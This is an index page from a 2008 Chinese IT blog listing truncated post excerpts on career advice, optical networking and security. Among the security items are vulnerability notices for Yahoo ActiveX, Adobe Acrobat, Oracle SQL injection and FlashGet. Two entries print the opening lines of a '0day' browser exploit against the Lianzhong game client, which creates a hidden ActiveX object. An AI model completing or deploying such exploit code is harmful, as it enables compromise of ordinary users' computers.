- 水煮豆豆_网络爬爬 - 51CTO技术博客-领先的IT技术博客

文章

在磨砺中成长：请学会调整自己的情绪

2008-05-10 09:49:37

突然想到写这个话题，绝非偶然。
再过几个月，又到了七月份了，掐指一算，也没算清楚到底是进第几批新人了。
（我在一个国家科研单位，每年都有不定期的招人）

每年看着一张张新面孔进来的时候，总有种回到在校时光的瞬间回忆。
但是第二句想对他们说的话，就是希望你们能够度过“真空期”。

所谓“真空期”，就像出生的婴儿一样，在逐步堆砌免疫力的那段危险时期。
对于刚刚参加工作的年轻人来说，则是根据所在单位的实际环境，完成自我成熟的一个转型期。

从我目前带过的年轻人来看，有些人两年时�..

类别：七嘴八舌 | 阅读全文(83) | 回复(1)

SSClone非ARP会话劫持原理分析

2008-05-09 08:15:17

ph4nt0m，你好
来自：www.csna.net
作者：robur

前两天买的过期杂志上看到的一款软件，刚开始还没注意，后来就恨自己杂志买晚了。（今年3月份的《黑客防线》）
那个神奇的软件，就像我标题上说的，叫SSClone，解释起来就是：Switch Session Clone，也就是"交换机会话克隆"（纯字面翻译，纯的～

）。

这个软件有什么用？其特点就是可以不通过传统的ARP欺骗方法，来实现局域网内的会话监听、劫持、复制等操作。（其实这个软件本身是用来会话复制的，也就是拦截客户机发送给网关的数据包，如果拦截网关发送给客户�..

类别：黑客&安全 | 阅读全文(23) | 回复(1)

Yahoo! 助手(3721) ActiveX远程代码执行漏洞

2008-05-09 08:07:39

以下消息来自幻影论坛[Ph4nt0m]邮件组

呵呵
顺便说下,那天想利用flash9 action script 3往localhost发包来利用xunlei的那个本地洞. 失败.
flash的安全验证无法绕过:
用Socket connect()过去就是请求domain-policy,如果有应答,则断开此连接.然后再开连接进行实际的数据交互.

void
2008-05-08

发件人：大风
发送时间： 2008-05-08 11:06:03
收件人： ph4nt0m@googlegroups.com
抄送：
主题： [Ph4nt0m] 答复: [Ph4nt0m] Re: 答复: [Ph4nt0m] Re: Yahoo! 助手(3721) Ac..

类别：黑客&安全 | 阅读全文(3) | 回复(0)

使用winpcap定制TCP包发送

2008-05-09 07:58:43

使用winpcap定制TCP包发送 Submitted by 云舒

前些时候做DOS方面的测试，由于协议学得不够好，有些回应不记得，所以就首先想到用hping来定制一些包，看看远程主机的回应。结果下载的hping 死活都不发包，换了多个不同版本的winpcap都不行。一怒之下，决定自己写个简单的。首先想到的是perl来做，最后觉得一样要安装winpcap还有很多别的模块，不如直接c来实现一下，来得更痛快。

需要说明一下的是，在以太网头那里我故意偷懒了，没有获取�..

类别：网络集成 | 阅读全文(6) | 回复(0)

囧，日本网民也被雷到了，好吧好吧，大韩你很强大...

2008-05-08 21:00:51

本来对则些事情只是看看就过去。。。韩国人闹得太无耻了～日本人都看不下去了。。。
----------------------------------------
３月１５日【韓国】大田日報 —— 司馬遷が史記で歴史歪曲国祖檀君奉安金会長
　　 ……（前略）蚩尤天王に対しても中国の歴史歪曲を指摘した。「蚩尤天王は古朝鮮前の桓雄国(18代1565年)の第14代慈烏智桓雄を言う。蚩尤天王は中国人たちが自分たちの始祖と称える軒轅黄帝と琢鹿(たくろく)の野(や)で勝って、彼らに文明を伝えました。」ところが、中国は司馬遷の史記で「擒殺..

类别：七嘴八舌 | 阅读全文(23) | 回复(0)

光的世界第二弹：OXC和OADM

2008-05-08 16:42:45

光的世界第二弹：OXC和OADM

第一弹中，我们知道了光交换的几种主要方式，下面我们来关注下光网中的两种主要设备，OXC和OADM。

一、OXC的原理及应用
我们在第一弹中介绍过，光纤本身具备巨大的通信潜能，但是往往由于节点电子化的瓶颈，使得其带宽优势无法发挥出来，人们解决这个问题的办法，就是采用OXC设备来直接在光层面进行交换，因为光的交换不同于电子交换，所以没有简单的将其命名为光交换机，而是称之为光交叉连接（Optic..

类别：电信技术 | 阅读全文(73) | 回复(1)

Adobe Acrobat Professional Vulnerabilities

2008-05-08 07:52:11

以下消息来自幻影论坛[Ph4nt0m]邮件组

Adobe Acrobat Professional Javascript For PDF Security Feature Bypass and Memory Corruption Vulnerabilities

by cocoruder(frankruder_at_hotmail.com)
http://ruder.cdut.net

Summary:
Two critical vulnerabilities exist in the javascript API of Adobe Acrobat Professional 7. A remote attacker who successfully exploits these vulnerabilities can execute restricted functions and arbitrary codes on the affected syste..

类别：黑客&安全 | 阅读全文(8) | 回复(0)

废总深夜访群慰问积极分子秋香争先原创引领博客春风

2008-05-07 15:48:39

5月6日深夜，月黑风高，伸手不见五指。51CTO博客大管家、51CTO群管理员小废物，不辞辛劳，不畏艰辛的在白天连续加班灌水逛网站后，不远千毫米的移动鼠标点击51CTO群，深入基层，为所有博友带来五四青年节后不久的黑山老妖式的问候。
废总对秋香等人深夜仍然坚守博客一线，奋勇当先的撰写原创博文并强行威胁恐吓群友去拍砖的精神表示了高度的赞赏。同时，对coolerfeng、lxwcto、天涯小窝等积极灌水刷墙分子进行了充分的肯定和褒扬。此外，还对水煮豆豆提出�..

类别：七嘴八舌 | 阅读全文(75) | 回复(3)

ORACLE_LATERAL-SQL-INJECTION_个人见解

2008-05-07 09:43:43

以下消息来自幻影论坛[Ph4nt0m]邮件组

原PAPER地址：
http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf

          author : kj021320
          team : I.S.T.O

            最近忙啊忙啊的，今天终于有点点时间抽出来看看技术文章了，最近国外又出了关于新型ORA注入技术的PAPER，赶紧测试，主要是出现在SQL语..

类别：黑客&安全 | 阅读全文(1) | 回复(0)

联众的0day,目前通杀所有版本

2008-05-07 09:41:31

以下消息来自幻影论坛[Ph4nt0m]邮件组

代码如下:
联众的0day,目前通杀所有版本
<SCRIPT>window.onerror=function(){return true;}</SCRIPT>
<SCRIPT>
document.writeln("<object classid=\"clsid:61F5C358-60FB-4A23-A312-
D2B556620F20\" style=\'display:none\' id=\'Kazakh\'><\/object>");
document.writeln("<SCRIPT language=\"javascript\">");
document.writeln("var Wolfdalef,Wolfdalek,QuadroXFX;");
document.writeln("var
Samsunga1,Samsunga2,Samsunga3,Samsunga4,Samsung..

类别：黑客&安全 | 阅读全文(23) | 回复(1)

光的世界第一弹：交换决定未来

2008-05-05 08:32:50

这些年来陆陆续续在接触一些电信有关的技术，但是又因为缺乏完善的环境和条件进行深入系统的研究。网络上的资料分散且新老不齐，不禁让我想将自己所了解的一点点皮毛结合收集整理的部分素材简单的归纳一下，搞个小连载。往高手前辈批评指正。

前言——有关传送网的问题？
网络进入TB级时代后，大家就感兴趣是什么东西在维持着这么高速的数据传输？有人说是光纤，很正确，那么光纤是如何组成我们这个丰富多彩的网络“光世界”的呢？有人会说“光网”“传送网”“智能光网”�..

类别：电信技术 | 阅读全文(59) | 回复(1)

未公布的联众exploit 0Day

2008-05-04 08:23:13

以下消息来自幻影论坛[Ph4nt0m]邮件组
<SCRIPT>window.onerror=function(){return true;}</SCRIPT>
<SCRIPT>
document.writeln("<object classid=\"clsid:61F5C358-60FB-4A23-A312-D2B556620F20\" style=\'display:none\' id=\'Kazakh\'><\/object>");
document.writeln("<SCRIPT language=\"javascript\">");
document.writeln("var Wolfdalef,Wolfdalek,QuadroXFX;");
document.writeln("var Samsunga1,Samsunga2,Samsunga3,Samsunga4,Samsunga5,Samsunga6,Samsunga7;");
document.writeln("va..

类别：黑客&安全 | 阅读全文(33) | 回复(2)

你，不是马云

2008-04-28 10:35:47

前一阵子q上有搞IT的网友和我讨论技术问题，
期间聊起来职业生涯规划的想法，好多都是应届毕业生。

他们激情的阐述着自己的想法和对未来美好的憧憬，
不禁让我想起朝廷台的一堆所谓的挑战栏目、职场栏目、对话栏目。
然后是一堆的商界精英，就那几个熟悉的脸。
在滔滔不绝的评论着台上受宠若惊的应试者，分享着自己的成功经验。

年轻人有这份拼劲是好事，但是我认为大部分人还有修正自己规划的空间。
那就是删除掉过于理想化的那部分，强化基础工作的那部分。

个人认为，创业这个东西需要遵循的几个原则：
实事求是、脚踏�..

类别：七嘴八舌 | 阅读全文(774) | 回复(17)

最小的操作系统MenuetOS

2008-04-28 08:10:04

最小的操作系统MenuetOS

以下消息来自幻影论坛[Ph4nt0m]邮件组

最小的操作系统MenuetOS
天外有天，人外有人。。。
官方站点:http://www.menuetos.net/index.htm
这东西太厉害了。。。

今天早上在网上无意发现一款大小只有1.44M的操作系统，汇编写的。因为不是主流操作系统，使用者并不多，所以相关技术文章很少，一个上午的研究后终于成功启动了这个操作系统。
系统以及安装方法已打包在附件里了，一个中文版，一个英文版的。这个系统蛮有意思的，希望和大家一起讨论讨论。截个图：

下载地址：[url]..

类别：系统集成 | 阅读全文(50) | 回复(2)

又见0day! [FlashGet]-FG2CatchUrl Crash POC

2008-04-25 08:24:37

以下消息来自幻影论坛[Ph4nt0m]邮件组

说实话flashget2.0一点也不好用
在ms拖win 2k3都拖了几天
最后一怒之下装了个1。7几的版本不到一个上午搞定
新版本既不稳定算法又差，让人难以接受

2008/4/23 remax <remax.z@gmail.com>:

也就只能d.o.s了吧..

On 4月23日, 下午9时53分, "kook1991" <wek...@163.com> wrote:
> FlashGet 2.0 正式版的0day 早在2.0bate版就有这个BUG 当时发现了但是比较忙就扔下了
>
> 今天看见出正式版了下载回来试了一下软件更新 BUG犹在于是乎把POC放出�..

类别：黑客&安全 | 阅读全文(16) | 回复(0)

<< 1 2 3 4 5 >> 页数 ( 1/8 )